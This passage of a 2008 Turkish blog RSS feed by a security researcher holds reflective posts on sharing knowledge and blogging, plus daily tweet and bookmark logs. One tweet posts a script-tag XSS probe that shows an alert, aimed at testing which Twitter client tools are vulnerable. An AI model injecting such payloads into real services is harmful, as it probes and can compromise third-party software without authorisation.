  <description>&lt;p&gt;Bundan &amp;#252;&amp;#231; sene kadar &amp;#246;nce bir &lt;a href="http://www.mmistanbul.com"&gt;MM İstanbul&lt;/a&gt; (&lt;em&gt;artık Adobe İstanbul&lt;/em&gt;) toplantısında şu an maalesef ismini hatırlayamadığım bir arkadaş bir soru sormuştu:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;Neden bilginizi paylaşıyorsunuz?&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;Ben o zaman sanırım open source' tan aldım open source' a veriyorum gibi bir şeyler demiştim, kendim inanmışmıydım bilmiyorum ama &lt;a href="http://ferruh.mavituna.com/open-source-buna-deger-mi-oku/"&gt;open source' un open source i&amp;#231;in olduğuna hi&amp;#231; bir zaman inanmadım&lt;/a&gt;. Şimdi d&amp;#252;ş&amp;#252;n&amp;#252;yorum ve komik bir şekilde hala emin değilim, emin olmadığım veya mantığını algılayamadığım bir şeyi senelerdir yapmak pek benim tarzım değil ama gelin g&amp;#246;r&amp;#252;n ki bu da her sabah 09:00 da gidip her akşam 18:00 eve d&amp;#246;n&amp;#252;p hi&amp;#231; sorgulmadığınız işiniz gibi bir şey, sorgulamıyorum sadece yapıyorum.&lt;/p&gt;  &lt;p&gt;Yazıyorum, anlatıyorum, kasıyorum, paylaşıyorum... ama sorgulamıyorum, sorguladığım zamanlarda da, şu cevabı alıyorum : &lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;0 rows were returned&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;Daha &amp;#246;nceden a&amp;#231;ık kaynak kod hakkında konuşurken potansiyel nedenler olarak şunları sunmuştum,&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;İnsanlara Yardım Etmek (&lt;em&gt;peh!&lt;/em&gt;)&lt;/li&gt;    &lt;li&gt;Ş&amp;#246;hret&lt;/li&gt;    &lt;li&gt;Kariyer&lt;/li&gt;    &lt;li&gt;Uzun vadede bir iş modeli ile para ve g&amp;#252;&amp;#231; kazanma&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Bug&amp;#252;n bakınca ekstra bir neden daha sunamıyorum, bu nedenlere bakınca a&amp;#231;ık&amp;#231;ası hi&amp;#231; biri benim i&amp;#231;in ger&amp;#231;ek bir neden değil. İkinci neden belki egovari bir a&amp;#231;ıdan bilin&amp;#231; altı nedenlerinden biri olabilir ama bilin&amp;#231; altım tatmin olacak diye hafta sonu proje geliştirecek kadar &lt;em&gt;hen&amp;#252;z&lt;/em&gt; kafayı yemedim. &lt;/p&gt;  &lt;p&gt;&amp;#214;zetle bu bir &lt;strong&gt;cevap &lt;/strong&gt;yazısı değil, &lt;strong&gt;soru&lt;/strong&gt; yazısı ya da daha doğru bir terim ile cevap arayış yazısı. Neden paylaşıyoruz? Neden bir blogumuz var? Neden a&amp;#231;ık kaynak kodlu bir şeyler yazıyoruz? Neden gidip &amp;#231;imlerde yatmak, pazarları mangalda sucuk &amp;#231;evirmek varken kendimizi kasıyoruz? Neden twitter' dan mesaj atıp library thing' e kitap listemizi koyuyoruz? Neden facebook' ta kelle kelle fotoğrafımız var ve hayatımızın her karesi Flickr' da, Neden youtube ta gitar &amp;#231;alıyoruz? &lt;em&gt;&amp;#160;&lt;/em&gt;&lt;/p&gt;  &lt;p&gt;Yoksa bunların hepsi Counter Strike sunucusunda birinci olmaya &amp;#231;alışma nedenimimizle tamamen aynı mı?&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/hd3gjCc3S_3RLIeFvvXPL19FljY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/hd3gjCc3S_3RLIeFvvXPL19FljY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/hd3gjCc3S_3RLIeFvvXPL19FljY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/hd3gjCc3S_3RLIeFvvXPL19FljY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=XEhxnW2v"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=R8Kpa281"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=SV0zaJnb"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=tim4igdY"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=tim4igdY" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/1eZrsaIQzvk" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/2-neden-paylasiyoruz-oku/</guid>
  <comments>http://ferruh.mavituna.com/2-neden-paylasiyoruz-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/2-neden-paylasiyoruz-oku/</feedburner:origLink></item>
<item>
  <title>1- Yüreğinin Götürdüğü Yere Git</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/-EzAL4qBQec/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cmt, 31 May 2008 01:34:26 +0300</pubDate>
  <description>&lt;p&gt;Arabesk başlıkların hastasıyım... Uzun zamandır yazmak istediğim bir t&amp;#252;rl&amp;#252; yazamadığım teknik olmayan konulardan biri bu.&lt;/p&gt;  &lt;p&gt;Kimi insanlar bir şey yapar ve on sene, yirmi sene, elli sene onu yapmaya devam ederler &amp;#231;&amp;#252;nk&amp;#252; bunu seviyorlardır, kimi insanlar bir şey yapar ve on sene, yirmi sene, elli sene onu yapmaya devam ederler &amp;#231;&amp;#252;nk&amp;#252; yaptıklarının sonu&amp;#231;larından memnunlardır, yaptıkları onlar i&amp;#231;in &amp;#231;alışıyordur. Kimi insanlar bir şey yapar ve sonra bunu yapmayı bırakır, başka bir şey yapar.&lt;/p&gt;  &lt;p&gt;Metallica Kill' em All yaptı, And Justice for All... yaptı sonra da gitti Load yaptı ReLoad yaptı, daha sonra da gitti S&amp;amp;M yaptı. Rotting Christ Non Serviam yaptı sonra gitti A Dead Poem yaptı, bunun yanında bazıları 25 sene aynı m&amp;#252;ziği yaptı. Kimin neyi niye yaptığını g&amp;#246;ğ&amp;#252;slerini a&amp;#231;ıp kalplerini &amp;#231;ıkarmadan bilemeyiz ama şu var ki eğer bir şey &amp;#246;ğreniyorsak ve yaşıyorsak, değişiyoruz demektir, eğer değişiyorsak i&amp;#231;ten gelerek yapılan bir şeyi uzun s&amp;#252;re aynı şekilde yapamayız demektir. &lt;/p&gt;  &lt;p&gt;Dolayısıyla insanlar bir &amp;#231;ok m&amp;#252;zisyene &amp;quot;kaydı&amp;quot;, &amp;quot;d&amp;#246;nd&amp;#252;&amp;quot;, &amp;quot;kalitesini kaybetti&amp;quot; derken ben onların ger&amp;#231;ek m&amp;#252;zisyenler olduğunu d&amp;#252;ş&amp;#252;nd&amp;#252;m, insanlar i&amp;#231;in değil m&amp;#252;ziği kendileri i&amp;#231;in yaptığını d&amp;#252;ş&amp;#252;nd&amp;#252;m. Eğer bir sanat&amp;#231;ı beş sene aynı şeyi yapıyorsa sanırım ondan ş&amp;#252;phe etmemiz gerekli. &lt;/p&gt;  &lt;p&gt;B&amp;#252;t&amp;#252;n bu yazının yegane amacı bu blogun neden her g&amp;#252;n değişik telden &amp;#231;aldığını, neden beş sene &amp;#246;nceki, d&amp;#246;rt sene &amp;#246;nceki, &amp;#252;&amp;#231; sene &amp;#246;nceki, iki sene &amp;#246;nceki ve bir sene &amp;#246;nceki gibi olmadığını ifade edebilmekti. Ben değişiyorum ve bu blog ticari değil, ben değişiyorum ve bu blogun adı &amp;quot;Ferruh Mavituna&amp;quot;, ben değişiyorum ve bu blogda değişiyor. Bundan seneler &amp;#246;nce pratik konular &amp;#231;ok daha ilgimi &amp;#231;ekerken artık teorik konular &amp;#231;ok daha ilgimi &amp;#231;ekiyor. İşletim sistemi değil, onun altındaki tasarım ilgimi &amp;#231;ekiyor, Ruby değil yazılım dillerinin gittiği nokta ilgimi &amp;#231;ekiyor, a&amp;#231;ığı yamamak değil onu hi&amp;#231; olmayacak hale getirmek ilgimi &amp;#231;ekiyor.&lt;/p&gt;  &lt;p&gt;Aynı şekilde d&amp;#252;n g&amp;#252;neşin sarı olduğunu d&amp;#252;ş&amp;#252;n&amp;#252;rken, bug&amp;#252;n aslında kahverengi olduğunu d&amp;#252;ş&amp;#252;n&amp;#252;yorum, dolayısıyla bu blogta bir kendiyle &amp;#231;elişen bir şey g&amp;#246;rmenizden doğal bir şey yoktur, &amp;#231;&amp;#252;nk&amp;#252; ben kendimle &amp;#231;elişiyorum ve fikirlerimde &amp;#231;elişiyor. İşte bu y&amp;#252;zden artık başka şeyler yazıyorum, yarın u&amp;#231;an balıklar ilgimi &amp;#231;ekerse u&amp;#231;an balıklar belgeselimi nasıl &amp;#231;ektiğimi yazmaya başlayabilirim. Bir şekilde okuyucular bu blogu okuyor ve kendi kafalarında bir şekil &amp;#231;iziyor. Bu sterotiplerin h&amp;#252;k&amp;#252;m s&amp;#252;rd&amp;#252;ğ&amp;#252; bir d&amp;#252;nyada,&amp;#160; &amp;#231;izdikleri şekili devam etmeyince hayal kırıklığına uğruyorlar. &lt;/p&gt;  &lt;p&gt;Bu keyifsiz bir yazı sanırım artık blog yazmanın eski keyfi kalmadı, ya da aslında hi&amp;#231; bir zaman keyfi yoktu. İşte bu y&amp;#252;zden bu aralar pek yazmak istemiyorum. Blogların sosyal imlerle pop&amp;#252;ler olduğu, hit almak i&amp;#231;in twitter' a, facebook'a sosyal Web 2.0 aksiyonlarına &amp;#252;ye olunan, marketing denilen hadisenin alıp g&amp;#246;t&amp;#252;rd&amp;#252;ğ&amp;#252; bu zamanda blog yazmanın keyfi nasıl olabilir ki? Umuyorum ki hi&amp;#231; bir zaman sadece bir konu ya da iki konu &amp;#252;zerine tekrar tekrar ve tekrar konuşacağım bir blog olmayacak bu, eğer noktaya gelirsem bu keyif değil iş olmuş demektir.&lt;/p&gt;  &lt;p&gt;Yapmaya &amp;#231;alıştığım şeyler:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;F&amp;#252;tursuzca yazmaya devam etmek,&lt;/li&gt;    &lt;li&gt;C&amp;#252;mlelerim arasında ne id&amp;#252;ğ&amp;#252; belirsiz kelimeler kullanmaya devam etmek,&lt;/li&gt;    &lt;li&gt;Bin kişiden birinin anlayacağı g&amp;#246;ndermeleri yazıya sıkıştırmak, &lt;/li&gt;    &lt;li&gt;Yazı dizisi yazacağımı iddia edip bir yazının serisine başlayıp hi&amp;#231; bir zaman ikinci yazıyı yazmamak, &lt;/li&gt;    &lt;li&gt;Ayrı yazılan de ve da ları ayrı yazmamak ya da bazen yazıp bazen yazmamak, bilmemenin ayıp olduğuna inanmayıp, &amp;quot;&lt;em&gt;ignorance is blissdir canım&lt;/em&gt;&amp;quot; diye &amp;#231;ığlık atmak,&lt;/li&gt;    &lt;li&gt;Yazarken keyif almaya &amp;#231;alışmak, almazsam yazmamak,&lt;/li&gt;    &lt;li&gt;Uzun mektup gibi yazılar yazmak ve sağa sola &amp;#252;&amp;#231; km. &amp;#246;teden g&amp;#246;nderme yapan resim sıkıştırmamak (&lt;em&gt;lakin denedin amele gibi duruyor!&lt;/em&gt;).&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Kusura bakmayın ben profesyonel bir blogcu değildim, olmayacağım da.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/oAUMzQxhfNpot_e8RqndnTPw1sg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/oAUMzQxhfNpot_e8RqndnTPw1sg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/oAUMzQxhfNpot_e8RqndnTPw1sg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/oAUMzQxhfNpot_e8RqndnTPw1sg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=IBepd0D4"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=teEQfS49"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=uyC3ntcP"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=2L3fXTMh"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=2L3fXTMh" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/-EzAL4qBQec" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/1-yureginin-goturdugu-yere-git-oku/</guid>
  <comments>http://ferruh.mavituna.com/1-yureginin-goturdugu-yere-git-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/1-yureginin-goturdugu-yere-git-oku/</feedburner:origLink></item>
<item>
  <title>28.05 - Projelere Devam</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/lXcPrQoR3Yw/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Per, 29 May 2008 01:39:56 +0300</pubDate>
  <description>&lt;p&gt;Bug&amp;#252;n değişik pek bir şey olmadı, hayat devam ediyor...&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;28 May 2008&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/821865903"&gt;5:16 PM&lt;/a&gt;: fmavituna: &lt;a href="http://twitter.com/aft"&gt;@aft&lt;/a&gt; hayirdir? Performans sorunlari mi?     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/821865152"&gt;5:15 PM&lt;/a&gt;: fmavituna: twitter fu*&lt;a href="http://twitter.com/_ed"&gt;@_ed&lt;/a&gt; up again    &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/821833410"&gt;4:28 PM&lt;/a&gt;: fmavituna: &lt;a href="http://twitter.com/YuSuPh"&gt;@YuSuPh&lt;/a&gt; evet ona dedim ama sanirim twitter bugun sapitiyor hangi reply hangisine gitmis diye     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/821804346"&gt;3:50 PM&lt;/a&gt;: fmavituna: Also it's quite funny reported 4 years ago but no one gave a shit - &lt;a href="http://tinyurl.com/6jc2c5"&gt;http://tinyurl.com/6jc2c5&lt;/a&gt;    &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/821803674"&gt;3:49 PM&lt;/a&gt;: fmavituna: This issue was known in Apache, but it's cool someone researched it thoroughly, affects IIS and some others - &lt;a href="http://tinyurl.com/6zwa3j"&gt;http://tinyurl.com/6zwa3j&lt;/a&gt;    &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/821796842"&gt;3:41 PM&lt;/a&gt;: fmavituna: &lt;a href="http://twitter.com/YuSuPh"&gt;@YuSuPh&lt;/a&gt; Turkce 101 :) Bunu Hakki Ocal hocama sormak lazim, o yazilarinda cok kizardi bunlari yanlis kullananlara.     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/821789486"&gt;3:30 PM&lt;/a&gt;: fmavituna: &lt;a href="http://twitter.com/McGrewSecurity"&gt;@McGrewSecurity&lt;/a&gt; :) distributed XSS testing, Unless twitter API encodes it before sends out at least 10 tools should be vulnerable to this.     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/821719900"&gt;1:56 PM&lt;/a&gt;: fmavituna: OK, test edelim:&amp;lt;script&amp;gt;alert(/Is your twitter tool XSSed? If you can see thix fix it!/)&amp;lt;/script&amp;gt; bakalim bu kimde patlarsa ...     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/821698477"&gt;1:26 PM&lt;/a&gt;: fmavituna: &lt;a href="http://twitter.com/YuSuPh"&gt;@YuSuPh&lt;/a&gt; OK, senin sitedeki kodu gorunce onu aktif olarak uygulamaya aldin sandim,     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/821665446"&gt;12:37 PM&lt;/a&gt;: fmavituna: &lt;a href="http://twitter.com/YuSuPh"&gt;@YuSuPh&lt;/a&gt; Bu arada RSS ciktilarini HTML_Entities gibi bir seyden geciriyormusun? Title ve icerik icin ozellikle, Guvenlik acisindan onemli.     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/821664383"&gt;12:35 PM&lt;/a&gt;: fmavituna: &lt;a href="http://twitter.com/YuSuPh"&gt;@YuSuPh&lt;/a&gt; Dogru amac icin isini gorecektir, benim kafamda daha komplike bir durum vardi :) Neyse bu konuda zaten yakinda bir seyler yazacagim     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/821663895"&gt;12:34 PM&lt;/a&gt;: fmavituna: reading presentation of OWASP EU 08 &lt;/p&gt;  &lt;p&gt;&lt;img alt="Google Shared Notes" src="http://www.profilactic.com/images/favicons/default.gif" align="absMiddle"  /&gt; &lt;a href="http://www.google.com/notebook/public/01652460089791870132/BDQaSQgoQx-Ll5Zgj#NDSIKQgoQrdbk9qIj"&gt;İnternet Teknolojileri Derneği Başkanı: ''internet yasası ifade &amp;#246;zg&amp;#252;rl&amp;#252;ğ&amp;#252;yle ...&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;İnternet Teknolojileri Derneği Başkanı: ''internet yasası&lt;b&gt; ifade &amp;#246;zg&amp;#252;rl&amp;#252;ğ&amp;#252;yle&lt;/b&gt; bağdaşmıyor''    &lt;br /&gt;Bilkent &amp;#220;niversitesi End&amp;#252;stri M&amp;#252;hendisliği &amp;#214;ğretim g&amp;#246;revlisi ve İnternet Teknolojileri Derneği Başkanı Do&amp;#231;. Dr. Mustafa Akg&amp;#252;l, Meclis&amp;#8217;te g&amp;#246;r&amp;#252;ş&amp;#252;len internet yasası tasarısının ifade &amp;#246;zg&amp;#252;rl&amp;#252;ğ&amp;#252;yle bağdaşmayacağını s&amp;#246;yledi. Akg&amp;#252;l, devletin vatandaşlar adına zararlı i&amp;#231;eriği belirlemesinin internetin gelişimine zarar vereceğini savundu...    &lt;br /&gt;&lt;b&gt;FM Yorum :&lt;/b&gt; Biri ifade ozgurlugu mu dedi? Saka gibi. bizim anlayamadigimiz sorunun internetten buyuk oldugu, ama biz internetciler olarak sadece kendi kicimizi kollamaya calisiyoruz. o da bir sey tabii, hakkini yememek lazim.&lt;/p&gt;  &lt;p&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/821559296"&gt;8:56 AM&lt;/a&gt;: fmavituna: &lt;a href="http://twitter.com/YuSuPh"&gt;@YuSuPh&lt;/a&gt; CSS sorunu cozmeyecektir, cunku kod yazamiyorsun ya da yalandan expression JS si yazacaksin, ama XSLT server-side da calisir     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/821546087"&gt;8:25 AM&lt;/a&gt;: fmavituna: update your Screwturns wikis, a nasty permanent XSS fixe - &lt;a href="http://www.screwturn.eu/Download.ashx"&gt;http://www.screwturn.eu/Download.ashx&lt;/a&gt;    &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/821545155"&gt;8:23 AM&lt;/a&gt;: fmavituna: &lt;a href="http://twitter.com/YuSuPh"&gt;@YuSuPh&lt;/a&gt; Aslinda bence XSTL boku bu kadar salak ve karmasik olmasaydi bu tip isler cok daha rahat ve global olarak cozulebilirlerdi.     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/821544816"&gt;8:23 AM&lt;/a&gt;: fmavituna: &lt;a href="http://twitter.com/YuSuPh"&gt;@YuSuPh&lt;/a&gt; template sisteminin yazman gerekmiyor bence RSS' i reader i ve template sistemini ayri ayri alip adam gibi birlestirmek te yetebilir &lt;/p&gt;  &lt;p&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://turk.internet.com/haber/yazigoster.php3?yaziid=21069"&gt;Turk.internet.com | Skandal : Deutch Telekom Gazetecileri Dinlerken Yakalandı |&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://www.codeplex.com/LazyParser"&gt;LazyParser.NET - Home&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://damieng.com/blog/2008/05/26/envy-code-r-preview-7-coding-font-released"&gt;Envy Code R preview #7 (scalable coding font) &amp;#187; DamienG&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://coding-insecurity.blogspot.com/2008/05/who-should-perform-security-testing.html"&gt;Who should perform security testing&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://feeds.feedburner.com/%7Er/zdnet/security/%7E3/299862925/"&gt;E-trade, Schwab, Google fall victim to &amp;#8220;Office Space/Superman 3&amp;#8243; attack&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://feeds.feedburner.com/%7Er/SecurityRetentive/%7E3/299601333/notes-from-ieee-web-20-security-and.html"&gt;Notes from IEEE Web 2.0 Security and Privacy Workshop (W2SP2008)&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://hackademix.net/2008/05/28/unpatched-flash-vulnerability-widely-exploited-in-the-wild/"&gt;Unpatched Flash Vulnerability Widely Exploited in the Wild&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://www.teakolik.com/yeni-internet-kanunu-ve-getirdikleri-hatta-goturecekleri/"&gt;Yeni internet kanunu ve getirdikleri hatta g&amp;#246;t&amp;#252;recekleri&amp;#8230;&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://feeds.feedburner.com/%7Er/SecurityRetentive/%7E3/299601333/notes-from-ieee-web-20-security-and.html"&gt;Notes from IEEE Web 2.0 Security and Privacy Workshop (W2SP2008)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/J3gYK83VvqZtLQOJThi6Imb-tMM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/J3gYK83VvqZtLQOJThi6Imb-tMM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/J3gYK83VvqZtLQOJThi6Imb-tMM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/J3gYK83VvqZtLQOJThi6Imb-tMM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=Mrxr6uYu"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=92VvVQKR"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=PzLcIhx5"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=3Cud3AIb"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=3Cud3AIb" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/lXcPrQoR3Yw" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/28-05-projelere-devam-oku/</guid>
  <comments>http://ferruh.mavituna.com/28-05-projelere-devam-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/28-05-projelere-devam-oku/</feedburner:origLink></item>
<item>
  <title>26-27.05.08 - Trials 2 ve Penny Arcade Adventures</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/aKgtJLcUtY4/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Çar, 28 May 2008 00:34:33 +0300</pubDate>
  <description>&lt;p&gt;&lt;strong&gt;Ne Yapıyorum&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Penny Arcade Adventures' i bitirdim, NetBouncer projesi &amp;#252;zerinde &amp;#231;alışmaya devam ediyorum, en sonunda &amp;#231;alışır hale geldi. İşler gayet yoğun, boş kalan vakitte de &lt;a href="http://www.redlynxtrials.com/"&gt;Trials 2&lt;/a&gt;' i oynadım.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;27 May 2008&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/821174665"&gt;8:12 PM&lt;/a&gt;: fmavituna: justr found another good game : &lt;a href="http://www.redlynxtrials.com/"&gt;http://www.redlynxtrials.com/&lt;/a&gt;    &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/821087867"&gt;5:53 PM&lt;/a&gt;: fmavituna: watching prison break     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/820959498"&gt;2:55 PM&lt;/a&gt;: fmavituna: Seasonal affective disorder - internet baglantimi test ederken asd aratmaktan bu terim ile bolca karsilasir oldum     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/820943336"&gt;2:33 PM&lt;/a&gt;: fmavituna: The Escapist - &lt;a href="http://www.escapistmagazine.com"&gt;http://www.escapistmagazine.com&lt;/a&gt; Best gaming culture magazine. I just love reading it.    &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/820887583"&gt;1:15 PM&lt;/a&gt;: fmavituna: interesting project, google-caja - &lt;a href="http://code.google.com/p/google-caja/"&gt;http://code.google.com/p/google-caja/&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="Google Shared Notes" 